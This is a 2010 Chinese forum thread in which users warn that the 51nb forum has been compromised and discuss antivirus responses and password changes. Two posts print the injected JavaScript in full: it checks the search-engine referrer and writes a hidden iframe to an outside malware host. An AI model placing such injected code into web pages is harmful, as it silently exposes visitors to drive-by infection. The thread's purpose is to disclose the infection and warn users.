如果51nb网站没被挂木马 这句代码是什么意思?木马清除掉了,但是 ?

13236608421

如果你们网站没被挂木马

<script src=http://union.7pk.com/tmp/51nb.gif?¨></script>

这句代码是什么意思?

广告挂多了?

查看办法
查看网页原文件

请各位尽快杀毒 如果杀毒软件没有报错 尽快更换杀毒软件

尽快修改各种密码 或临时挂失各种账户


推荐管理员尽快暂停网站

损失几天广告费无所谓

用户损失几百万可就赔不起啦


最奇怪的是 论坛的版主 居然公开场合发布如何关闭安全软件提示本论坛有病毒木马
莫非是有意挂木马?
http://www.ibmnb.com/thread-970042-1-1.html


不良代码具体内容如下:

var url=document.referrer;
var p=url.toLowerCase().indexOf(".baidu.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".google.com.hk");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".sogou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".soso.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".gougou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".118114.cn");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".bing.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".youdao.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".yahoo.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}

[ Edited by  13236608421 on 2010-6-24 14:34 ]

oxygen427

小红伞也在包

biclei

var url=document.referrer;
var p=url.toLowerCase().indexOf(".baidu.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".google.com.hk");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".sogou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".soso.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".gougou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".118114.cn");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".bing.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".youdao.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".yahoo.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}


看这些就知道了 是广告 而且是恶意广告

jin_xiao2002

我是昨天起360就喊个不停

jin_xiao2002

我是昨天起360就喊个不停

十四郎

microsoft45.8866.org:6677/g/index.html

什么广告啊！

daysin116

卡巴没反应。。。。汗。。

qitaobfsu

这种木马会有什么危害啊？？？？

luckyfly

卡巴正常

qmp198596

软件是死的 只凭借一些代码和字符判断 人是活的 别太相信软件的检测

energyhanyun

我在csdn

yjzh013

请各位尽快杀毒 如果杀毒软件没有报错 尽快更换杀毒软件

尽快修改各种密码 或临时挂失各种账户


推荐管理员尽快暂停网站

损失几天广告费无所谓

用户损失几百万可就赔不起啦



这句太恐怖。。。。。。。。。。我。。。。。。。。。。。。。。。很多要改。。。。。。。。。。

闲聊

强烈关注。。。

8610

楼主真能联想，zhangyongtao只不过是个退休版主而已。。。。

hjj333

360全套正常

hjiou

360已经卸载掉，乱报病毒
烦得很

richard1147

Symantec AntiVirus 没有任何反应。

ljflovewyn

为什么一张图发好几遍呢

elroy1568

我是今天chrome 报  接着opera上的时候MSE报了  估计这次问题来了  不像上次那样了

zyq

360就是一个垃圾软件，现在正在去往流氓软件的路上

cristo

UBUNTU...爱挂就挂..无视

caeser2

认真分析代码的没有几个人。。。

alanfly

其实昨天第一个发现的仁兄用的是avg，不过帖子被删了。

x41t2008

后果是什么这个是关键，

q73139

nod32+firefox，没有报。

elroy1568

现在为了安全起见还是在沙盒中用浏览器上51

zahirll

<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
很明显，被挂马

13236608421

QUOTE:

Posted by alanfly on 2010-6-24 12:48
其实昨天第一个发现的仁兄用的是avg，不过帖子被删了。

问题是我的帖子也被删啦
且头像改成与论坛同名啦


给这破论坛提意见 又删除我帖子 又换我头像?

是不是这论坛管理层也被黑啦?
乱七八糟的
http://www.ibmnb.com/thread-970205-1-1.html

dawensger

我用ChromePlus 加 Ad Muncher，整个世界都清静了